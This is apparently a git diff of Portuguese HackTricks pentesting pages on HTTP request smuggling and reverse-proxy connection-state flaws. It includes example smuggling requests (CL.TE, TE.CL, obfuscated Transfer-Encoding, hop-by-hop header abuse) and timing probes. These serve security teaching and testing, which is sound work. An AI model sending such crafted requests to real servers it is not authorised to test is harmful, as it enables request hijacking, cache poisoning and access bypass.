* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -18,9 +18,9 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
Navegadores da web podem reutilizar uma única conexão HTTP/2+ para diferentes sites por meio da [coalescência de conexão HTTP](https://daniel.haxx.se/blog/2016/08/18/http2-connection-coalescing), desde que compartilhem endereços IP e um certificado TLS comum. No entanto, isso pode entrar em conflito com o **roteamento de primeira solicitação** em proxies reversos, onde solicitações subsequentes são direcionadas ao back-end determinado pela primeira solicitação. Esse encaminhamento incorreto pode levar a vulnerabilidades de segurança, especialmente quando combinado com certificados TLS curinga e domínios como `*.example.com`.
|
Navegadores da web podem reutilizar uma única conexão HTTP/2+ para diferentes sites por meio da [coalescência de conexão HTTP](https://daniel.haxx.se/blog/2016/08/18/http2-connection-coalescing), desde que compartilhem endereços IP e um certificado TLS comum. No entanto, isso pode entrar em conflito com o **roteamento de primeira solicitação** em proxies reversos, onde solicitações subsequentes são direcionadas ao back-end determinado pela primeira solicitação. Esse encaminhamento incorreto pode levar a vulnerabilidades de segurança, especialmente quando combinado com certificados TLS curinga e domínios como `*.example.com`.
|
||||||
|
|
||||||
Por exemplo, se `wordpress.example.com` e `secure.example.com` são ambos servidos pelo mesmo proxy reverso e possuem um certificado curinga comum, a coalescência de conexão do navegador pode fazer com que as solicitações para `secure.example.com` sejam processadas incorretamente pelo back-end do WordPress, explorando vulnerabilidades como XSS.
|
Por exemplo, se `wordpress.example.com` e `secure.example.com` forem ambos servidos pelo mesmo proxy reverso e tiverem um certificado curinga comum, a coalescência de conexão do navegador poderia fazer com que as solicitações para `secure.example.com` fossem processadas incorretamente pelo back-end do WordPress, explorando vulnerabilidades como XSS.
|
||||||
|
|
||||||
Para observar a coalescência de conexão, a guia de Rede do Chrome ou ferramentas como Wireshark podem ser usadas. Aqui está um trecho para teste:
|
Para observar a coalescência de conexão, pode-se usar a guia de Rede do Chrome ou ferramentas como o Wireshark. Aqui está um trecho para teste:
|
||||||
```javascript
|
```javascript
|
||||||
fetch('//sub1.hackxor.net/', {mode: 'no-cors', credentials: 'include'}).then(()=>{ fetch('//sub2.hackxor.net/', {mode: 'no-cors', credentials: 'include'}) })
|
fetch('//sub1.hackxor.net/', {mode: 'no-cors', credentials: 'include'}).then(()=>{ fetch('//sub2.hackxor.net/', {mode: 'no-cors', credentials: 'include'}) })
|
||||||
```
|
```
|
||||||
|
@ -34,10 +34,10 @@ As melhores práticas incluem evitar o roteamento do primeiro pedido em proxies
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,12 +2,12 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -18,7 +18,7 @@
|
||||||
|
|
||||||
### Validação do Primeiro Pedido
|
### Validação do Primeiro Pedido
|
||||||
|
|
||||||
Ao rotear solicitações, proxies reversos podem depender do **cabeçalho Host** para determinar o servidor de back-end de destino, muitas vezes confiando em uma lista branca de hosts que têm acesso permitido. No entanto, uma vulnerabilidade existe em alguns proxies onde a lista branca é aplicada apenas na solicitação inicial em uma conexão. Consequentemente, os atacantes poderiam explorar isso fazendo primeiro uma solicitação a um host permitido e depois solicitando um site interno pela mesma conexão:
|
Ao rotear solicitações, proxies reversos podem depender do **cabeçalho Host** para determinar o servidor de back-end de destino, muitas vezes confiando em uma lista branca de hosts que têm permissão de acesso. No entanto, existe uma vulnerabilidade em alguns proxies onde a lista branca é aplicada apenas na solicitação inicial em uma conexão. Consequentemente, os atacantes poderiam explorar isso fazendo primeiro uma solicitação a um host permitido e, em seguida, solicitando um site interno pela mesma conexão:
|
||||||
```text
|
```text
|
||||||
GET / HTTP/1.1
|
GET / HTTP/1.1
|
||||||
Host: [allowed-external-host]
|
Host: [allowed-external-host]
|
||||||
|
@ -45,12 +45,12 @@ Para identificar essas vulnerabilidades, o recurso 'connection-state probe' no H
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -6,18 +6,18 @@
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## O que é
|
## O que é
|
||||||
|
|
||||||
Essa vulnerabilidade ocorre quando uma **desincronização** entre **proxies de front-end** e o **servidor de back-end** permite que um **atacante** **envie** uma **solicitação HTTP** que será **interpretada** como uma **única solicitação** pelos **proxies de front-end** (balanceador de carga/proxy reverso) e **como 2 solicitações** pelo **servidor de back-end**.\
|
Essa vulnerabilidade ocorre quando uma **desincronização** entre **proxies de front-end** e o **servidor de back-end** permite que um **atacante** envie uma **requisição HTTP** que será **interpretada** como uma **única requisição** pelos **proxies de front-end** (balanceador de carga/proxy reverso) e **como 2 requisições** pelo **servidor de back-end**.\
|
||||||
Isso permite que um usuário **modifique a próxima solicitação que chega ao servidor de back-end após a dele**.
|
Isso permite que um usuário **modifique a próxima requisição que chega ao servidor de back-end após a dele**.
|
||||||
|
|
||||||
### Teoria
|
### Teoria
|
||||||
|
|
||||||
|
@ -37,31 +37,31 @@ Isso permite que um usuário **modifique a próxima solicitação que chega ao s
|
||||||
### Realidade
|
### Realidade
|
||||||
|
|
||||||
O **Front-End** (um balanceador de carga / Proxy Reverso) **processa** o cabeçalho _**content-length**_ ou o cabeçalho _**transfer-encoding**_ e o **servidor de Back-End** **processa o outro** provocando uma **desincronização** entre os 2 sistemas.\
|
O **Front-End** (um balanceador de carga / Proxy Reverso) **processa** o cabeçalho _**content-length**_ ou o cabeçalho _**transfer-encoding**_ e o **servidor de Back-End** **processa o outro** provocando uma **desincronização** entre os 2 sistemas.\
|
||||||
Isso pode ser muito crítico, pois **um atacante poderá enviar uma solicitação** para o proxy reverso que será **interpretada** pelo **servidor de back-end como 2 solicitações diferentes**. O **perigo** dessa técnica reside no fato de que o **servidor de back-end interpretará a 2ª solicitação injetada** como se ela **viesse do próximo cliente** e a **solicitação real** desse cliente fará **parte** da **solicitação injetada**.
|
Isso pode ser muito crítico, pois **um atacante poderá enviar uma requisição** para o proxy reverso que será **interpretada** pelo **servidor de back-end como 2 requisições diferentes**. O **perigo** dessa técnica reside no fato de que o **servidor de back-end interpretará a 2ª requisição injetada** como se ela **viesse do próximo cliente** e a **requisição real** desse cliente fará **parte** da **requisição injetada**.
|
||||||
|
|
||||||
### Particularidades
|
### Particularidades
|
||||||
|
|
||||||
Lembre-se de que no HTTP **um caractere de nova linha é composto por 2 bytes:**
|
Lembre-se de que no HTTP **um caractere de nova linha é composto por 2 bytes:**
|
||||||
|
|
||||||
* **Content-Length**: Esse cabeçalho usa um **número decimal** para indicar o **número** de **bytes** do **corpo** da solicitação. O corpo é esperado para terminar no último caractere, **uma nova linha não é necessária no final da solicitação**.
|
* **Content-Length**: Esse cabeçalho usa um **número decimal** para indicar o **número** de **bytes** do **corpo** da requisição. O corpo é esperado para terminar no último caractere, **uma nova linha não é necessária no final da requisição**.
|
||||||
* **Transfer-Encoding:** Esse cabeçalho usa no **corpo** um **número hexadecimal** para indicar o **número** de **bytes** do **próximo chunk**. O **chunk** deve **terminar** com uma **nova linha**, mas essa nova linha **não é contada** pelo indicador de comprimento. Esse método de transferência deve terminar com um **chunk de tamanho 0 seguido por 2 novas linhas**: `0`
|
* **Transfer-Encoding:** Esse cabeçalho usa no **corpo** um **número hexadecimal** para indicar o **número** de **bytes** do **próximo chunk**. O **chunk** deve **terminar** com uma **nova linha**, mas essa nova linha **não é contada** pelo indicador de comprimento. Esse método de transferência deve terminar com um **chunk de tamanho 0 seguido por 2 novas linhas**: `0`
|
||||||
* **Connection**: Com base em minha experiência, é recomendado usar **`Connection: keep-alive`** na primeira solicitação do Request Smuggling.
|
* **Connection**: Com base em minha experiência, é recomendado usar **`Connection: keep-alive`** na primeira requisição do Request Smuggling.
|
||||||
|
|
||||||
## Exemplos Básicos
|
## Exemplos Básicos
|
||||||
|
|
||||||
Os ataques de solicitação de desincronização HTTP são elaborados enviando solicitações ambíguas que exploram discrepâncias na forma como os servidores de front-end e de back-end interpretam os cabeçalhos `Content-Length` (CL) e `Transfer-Encoding` (TE). Esses ataques podem se manifestar de diferentes formas, principalmente como **CL.TE**, **TE.CL** e **TE.TE**. Cada tipo representa uma combinação única de como os servidores de front-end e de back-end priorizam esses cabeçalhos. As vulnerabilidades surgem do processamento das mesmas solicitações pelos servidores de maneiras diferentes, levando a resultados inesperados e potencialmente maliciosos.
|
Os ataques de requisição de desincronização HTTP são elaborados enviando requisições ambíguas que exploram discrepâncias na forma como os servidores de front-end e back-end interpretam os cabeçalhos `Content-Length` (CL) e `Transfer-Encoding` (TE). Esses ataques podem se manifestar em diferentes formas, principalmente como **CL.TE**, **TE.CL** e **TE.TE**. Cada tipo representa uma combinação única de como os servidores de front-end e back-end priorizam esses cabeçalhos. As vulnerabilidades surgem do processamento das mesmas requisições pelos servidores de maneiras diferentes, levando a resultados inesperados e potencialmente maliciosos.
|
||||||
|
|
||||||
### Exemplos Básicos de Tipos de Vulnerabilidades
|
### Exemplos Básicos de Tipos de Vulnerabilidades
|
||||||
|
|
||||||
![https://twitter.com/SpiderSec/status/1200413390339887104?ref\_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104\&ref\_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../.gitbook/assets/EKi5edAUUAAIPIK.jpg)
|
![https://twitter.com/SpiderSec/status/1200413390339887104?ref\_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104\&ref\_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../.gitbook/assets/EKi5edAUUAAIPIK.jpg)
|
||||||
|
|
||||||
#### Vulnerabilidade CL.TE (Content-Length usado pelo Front-End, Transfer-Encoding usado pelo Back-End)
|
#### Vulnerabilidade CL.TE (Content-Length usado pelo Front-End, Transfer-Encoding usado pelo Back-End)
|
||||||
- **Front-End (CL):** Processa a solicitação com base no cabeçalho `Content-Length`.
|
- **Front-End (CL):** Processa a requisição com base no cabeçalho `Content-Length`.
|
||||||
- **Back-End (TE):** Processa a solicitação com base no cabeçalho `Transfer-Encoding`.
|
- **Back-End (TE):** Processa a requisição com base no cabeçalho `Transfer-Encoding`.
|
||||||
- **Cenário de Ataque:**
|
- **Cenário de Ataque:**
|
||||||
- O atacante envia uma solicitação em que o valor do cabeçalho `Content-Length` não corresponde ao comprimento real do conteúdo.
|
- O atacante envia uma requisição onde o valor do cabeçalho `Content-Length` não corresponde ao comprimento real do conteúdo.
|
||||||
- O servidor de front-end encaminha a solicitação inteira para o back-end, com base no valor de `Content-Length`.
|
- O servidor de front-end encaminha a requisição inteira para o back-end, com base no valor de `Content-Length`.
|
||||||
- O servidor de back-end processa a solicitação em chunks devido ao cabeçalho `Transfer-Encoding: chunked`, interpretando os dados restantes como uma solicitação separada e subsequente.
|
- O servidor de back-end processa a requisição como chunked devido ao cabeçalho `Transfer-Encoding: chunked`, interpretando os dados restantes como uma requisição separada e subsequente.
|
||||||
- **Exemplo:**
|
- **Exemplo:**
|
||||||
```
|
```
|
||||||
POST / HTTP/1.1
|
POST / HTTP/1.1
|
||||||
|
@ -77,12 +77,12 @@ Foo: x
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Vulnerabilidade TE.CL (Transfer-Encoding usado pelo Front-End, Content-Length usado pelo Back-End)
|
#### Vulnerabilidade TE.CL (Transfer-Encoding usado pelo Front-End, Content-Length usado pelo Back-End)
|
||||||
- **Front-End (TE):** Processa a solicitação com base no cabeçalho `Transfer-Encoding`.
|
- **Front-End (TE):** Processa a requisição com base no cabeçalho `Transfer-Encoding`.
|
||||||
- **Back-End (CL):** Processa a solicitação com base no cabeçalho `Content-Length`.
|
- **Back-End (CL):** Processa a requisição com base no cabeçalho `Content-Length`.
|
||||||
- **Cenário de Ataque:**
|
- **Cenário de Ataque:**
|
||||||
- O atacante envia uma solicitação em chunks onde o tamanho do chunk (`7b`) e o comprimento real do conteúdo (`Content-Length: 4`) não se alinham.
|
- O atacante envia uma requisição chunked onde o tamanho do chunk (`7b`) e o comprimento real do conteúdo (`Content-Length: 4`) não se alinham.
|
||||||
- O servidor de front-end, respeitando `Transfer-Encoding`, encaminha a solicitação inteira para o back-end.
|
- O servidor de front-end, respeitando `Transfer-Encoding`, encaminha a requisição inteira para o back-end.
|
||||||
- O servidor de back-end, respeitando `Content-Length`, processa apenas a parte inicial da solicitação (`7b` bytes), deixando o restante como parte de uma solicitação subsequente não intencional.
|
- O servidor de back-end, respeitando `Content-Length`, processa apenas a parte inicial da requisição (`7b` bytes), deixando o restante como parte de uma subsequente e não intencional requisição.
|
||||||
- **Exemplo:**
|
- **Exemplo:**
|
||||||
```
|
```
|
||||||
POST / HTTP/1.1
|
POST / HTTP/1.1
|
||||||
|
@ -103,11 +103,11 @@ x=
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Vulnerabilidade TE.TE (Transfer-Encoding usado por ambos, com obfuscação)
|
#### Vulnerabilidade TE.TE (Transfer-Encoding usado por ambos, com obfuscação)
|
||||||
- **Servidores:** Ambos suportam `Transfer-Encoding`, mas um pode ser enganado para ignorá-lo por meio de obfuscação.
|
- **Servidores:** Ambos suportam `Transfer-Encoding`, mas um pode ser enganado para ignorá-lo via obfuscação.
|
||||||
- **Cenário de Ataque:**
|
- **Cenário de Ataque:**
|
||||||
- O atacante envia uma solicitação com cabeçalhos de `Transfer-Encoding` obfuscados.
|
- O atacante envia uma requisição com cabeçalhos de `Transfer-Encoding` obfuscados.
|
||||||
- Dependendo de qual servidor (front-end ou back-end) falha em reconhecer a obfuscação, uma vulnerabilidade CL.TE ou TE.CL pode ser explorada.
|
- Dependendo de qual servidor (front-end ou back-end) falha em reconhecer a obfuscação, uma vulnerabilidade CL.TE ou TE.CL pode ser explorada.
|
||||||
- A parte não processada da solicitação, conforme vista por um dos servidores, torna-se parte de uma solicitação subsequente, levando à desincronização.
|
- A parte não processada da requisição, conforme vista por um dos servidores, se torna parte de uma requisição subsequente, levando a desincronização.
|
||||||
- **Exemplo:**
|
- **Exemplo:**
|
||||||
```
|
```
|
||||||
POST / HTTP/1.1
|
POST / HTTP/1.1
|
||||||
|
@ -127,8 +127,8 @@ Transfer-Encoding
|
||||||
```
|
```
|
||||||
|
|
||||||
#### **Cenário CL.CL (Content-Length usado por ambos Front-End e Back-End):**
|
#### **Cenário CL.CL (Content-Length usado por ambos Front-End e Back-End):**
|
||||||
- Ambos os servidores processam a solicitação com base exclusivamente no cabeçalho `Content-Length`.
|
- Ambos os servidores processam a requisição baseados exclusivamente no cabeçalho `Content-Length`.
|
||||||
- Esse cenário geralmente não leva à desincronização, pois há alinhamento na forma como ambos os servidores interpretam o comprimento da solicitação.
|
- Esse cenário geralmente não leva a desincronização, pois há alinhamento na forma como ambos os servidores interpretam o comprimento da requisição.
|
||||||
- **Exemplo:**
|
- **Exemplo:**
|
||||||
```
|
```
|
||||||
POST / HTTP/1.1
|
POST / HTTP/1.1
|
||||||
|
@ -136,12 +136,12 @@ Host: vulnerable-website.com
|
||||||
Content-Length: 16
|
Content-Length: 16
|
||||||
Connection: keep-alive
|
Connection: keep-alive
|
||||||
|
|
||||||
Solicitação Normal
|
Requisição Normal
|
||||||
```
|
```
|
||||||
|
|
||||||
#### **Cenário CL != 0:**
|
#### **Cenário CL != 0:**
|
||||||
- Refere-se a cenários em que o cabeçalho `Content-Length` está presente e tem um valor diferente de zero, indicando que o corpo da solicitação tem conteúdo.
|
- Refere-se a cenários onde o cabeçalho `Content-Length` está presente e tem um valor diferente de zero, indicando que o corpo da requisição tem conteúdo.
|
||||||
- É crucial para entender e elaborar ataques de desincronização, pois influencia como os servidores determinam o final de uma solicitação.
|
- É crucial para entender e elaborar ataques de desincronização, pois influencia como os servidores determinam o final de uma requisição.
|
||||||
- **Exemplo:**
|
- **Exemplo:**
|
||||||
```
|
```
|
||||||
POST / HTTP/1.1
|
POST / HTTP/1.1
|
||||||
|
@ -154,7 +154,7 @@ Corpo Não Vazio
|
||||||
|
|
||||||
#### Forçando via cabeçalhos hop-by-hop
|
#### Forçando via cabeçalhos hop-by-hop
|
||||||
|
|
||||||
Abusando dos cabeçalhos hop-by-hop, você pode indicar ao proxy para **excluir o cabeçalho Content-Length ou Transfer-Encoding para que um ataque de desincronização de solicitação HTTP seja possível de ser abusado**.
|
Abusando dos cabeçalhos hop-by-hop, você pode indicar ao proxy para **excluir o cabeçalho Content-Length ou Transfer-Encoding para que um HTTP request smuggling seja possível de ser abusado**.
|
||||||
```
|
```
|
||||||
Connection: Content-Length
|
Connection: Content-Length
|
||||||
```
|
```
|
||||||
|
@ -167,7 +167,7 @@ Para **mais informações sobre cabeçalhos hop-by-hop** visite:
|
||||||
|
|
||||||
## Encontrando HTTP Request Smuggling
|
## Encontrando HTTP Request Smuggling
|
||||||
|
|
||||||
A identificação de vulnerabilidades de HTTP request smuggling frequentemente pode ser alcançada utilizando técnicas de temporização, que dependem de observar quanto tempo o servidor leva para responder a solicitações manipuladas. Essas técnicas são particularmente úteis para detectar vulnerabilidades CL.TE e TE.CL. Além desses métodos, existem outras estratégias e ferramentas que podem ser usadas para encontrar tais vulnerabilidades:
|
Identificar vulnerabilidades de HTTP request smuggling frequentemente pode ser alcançado utilizando técnicas de temporização, que dependem de observar quanto tempo o servidor leva para responder a solicitações manipuladas. Essas técnicas são particularmente úteis para detectar vulnerabilidades CL.TE e TE.CL. Além desses métodos, existem outras estratégias e ferramentas que podem ser usadas para encontrar tais vulnerabilidades:
|
||||||
|
|
||||||
### Encontrando Vulnerabilidades CL.TE Usando Técnicas de Temporização
|
### Encontrando Vulnerabilidades CL.TE Usando Técnicas de Temporização
|
||||||
- **Método:**
|
- **Método:**
|
||||||
|
@ -185,8 +185,8 @@ A
|
||||||
0
|
0
|
||||||
```
|
```
|
||||||
- **Observação:**
|
- **Observação:**
|
||||||
- O servidor front-end processa a solicitação com base no `Content-Length` e interrompe a mensagem prematuramente.
|
- O servidor front-end processa a solicitação com base no `Content-Length` e corta a mensagem prematuramente.
|
||||||
- O servidor back-end, esperando uma mensagem segmentada, aguarda o próximo segmento que nunca chega, causando um atraso.
|
- O servidor back-end, esperando uma mensagem chunked, aguarda o próximo chunk que nunca chega, causando um atraso.
|
||||||
|
|
||||||
- **Indicadores:**
|
- **Indicadores:**
|
||||||
- Timeouts ou longos atrasos na resposta.
|
- Timeouts ou longos atrasos na resposta.
|
||||||
|
@ -208,7 +208,7 @@ X
|
||||||
```
|
```
|
||||||
- **Observação:**
|
- **Observação:**
|
||||||
- O servidor front-end processa a solicitação com base no `Transfer-Encoding` e encaminha a mensagem inteira.
|
- O servidor front-end processa a solicitação com base no `Transfer-Encoding` e encaminha a mensagem inteira.
|
||||||
- O servidor back-end, esperando uma mensagem com base no `Content-Length`, aguarda dados adicionais que nunca chegam, causando um atraso.
|
- O servidor back-end, esperando uma mensagem com base no `Content-Length`, aguarda por dados adicionais que nunca chegam, causando um atraso.
|
||||||
|
|
||||||
### Outros Métodos para Encontrar Vulnerabilidades
|
### Outros Métodos para Encontrar Vulnerabilidades
|
||||||
- **Análise Diferencial de Resposta:**
|
- **Análise Diferencial de Resposta:**
|
||||||
|
@ -224,19 +224,19 @@ X
|
||||||
- Enviar solicitações com cabeçalhos de `Transfer-Encoding` obfuscados ou malformados e monitorar como os servidores front-end e back-end respondem de maneira diferente a essas manipulações.
|
- Enviar solicitações com cabeçalhos de `Transfer-Encoding` obfuscados ou malformados e monitorar como os servidores front-end e back-end respondem de maneira diferente a essas manipulações.
|
||||||
|
|
||||||
|
|
||||||
### Teste de Vulnerabilidade de HTTP Request Smuggling
|
### Testando a Vulnerabilidade de HTTP Request Smuggling
|
||||||
|
|
||||||
Após confirmar a eficácia das técnicas de temporização, é crucial verificar se as solicitações do cliente podem ser manipuladas. Um método direto é tentar envenenar suas solicitações, por exemplo, fazer uma solicitação para `/` resultar em uma resposta 404. Os exemplos `CL.TE` e `TE.CL` discutidos anteriormente em [Exemplos Básicos](./#basic-examples) demonstram como envenenar a solicitação de um cliente para obter uma resposta 404, apesar do cliente tentar acessar um recurso diferente.
|
